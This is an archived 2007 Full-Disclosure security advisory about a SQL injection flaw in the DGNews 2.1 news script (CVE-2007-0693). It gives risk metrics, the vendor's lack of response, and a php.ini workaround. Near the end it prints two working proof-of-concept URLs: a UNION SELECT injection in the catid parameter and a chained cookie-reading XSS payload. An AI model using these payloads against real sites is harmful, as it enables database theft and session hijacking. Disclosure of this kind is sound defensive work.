full-disclosure-uk May 2007 archive
Main Archive Page > Month Archives  > full-disclosure-uk archives
full-disclosure-uk: [Full-disclosure] DGNews version 2.1 SQL Inj

[Full-disclosure] DGNews version 2.1 SQL Injection Vulnerability

From: SecurityResearch <securityresearch_at_nospam>
Date: Mon May 28 2007 - 19:51:09 GMT
To: <full-disclosure@lists.grok.org.uk>

netVigilance Security Advisory #22

DGNews version 2.1 SQL Injection Vulnerability

DGNews is small and simple but powered news publishing. Easy installation, no programing required. But you can still change whatever you want (for advanced users). Features: add unlimited categories, automatic news image thumbnailed, click count, user comment, print view and many others. Include full lay out, but sure, you can modify what you need. This vulnerability can be exploited only when PHP magic_quotes_gpc = Off.

External References:
Mitre CVE: CVE-2007-0693
NVD NIST: CVE-2007-0693
OSVDB: 34227 Summary:
DGNews is small and simple but powered news publishing. Security problems in the product allow attackers commit SQL injections.

Advisory URL:

Release Date:

Risk: High  

CVSS Metrics:
Access Vector: Remote
Access Complexity: High
Authentication: Not-required
Confidentiality Impact: Complete
Integrity Impact: Partial
Availability Impact: Partial
Impact Bias: Confidentiality
CVSS Base Score: 6.8  

Target Distribution on Internet: Low  

Exploitability: Functional Exploit
Remediation Level: Workaround
Report Confidence: Uncorroborated  

Vulnerability Impact: Attack
Host Impact: SQL Injection

SecureScout Testcase ID:
TC 17952

Vulnerable Systems:
DGNews version 2.1

Vulnerability Type:
SQL injection allows malicious people to execute their own SQL scripts. This could be exploited to obtain sensitive data, modify database contents or acquire administrator's privileges.

Dian Gemilang

Vendor Status:
The Vendor has been notified several times on many different email addresses last on 14 May 2007. The Vendor has not responded. There is no official fix at the release of this Security Advisory. Workaround:
In the php.ini file set magic_quotes_gpc = On.

http://[TARGET]/[PRODUCT-DIRECTORY]/news.php?go=newslist&catid=' UNION SELECT 1,`site_title` FROM `news_config` WHERE '1 OR (resultant XSS Attack)
http://[TARGET]/[PRODUCT-DIRECTORY]/ news.php?go=newslist&catid=' UNION SELECT 1,'<script>alert(document.cookie)</script>' FROM `news_config` WHERE '1 REPLY:
<table width="95%" border="0" cellpadding="2" cellspacing="2" align="center">
<tr> <td class="newscat">Home[SQL INJECTION RESULT]<br />&nbsp;</td></tr></table>

Jesper Jurcenoks
Co-founder netVigilance, Inc

Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/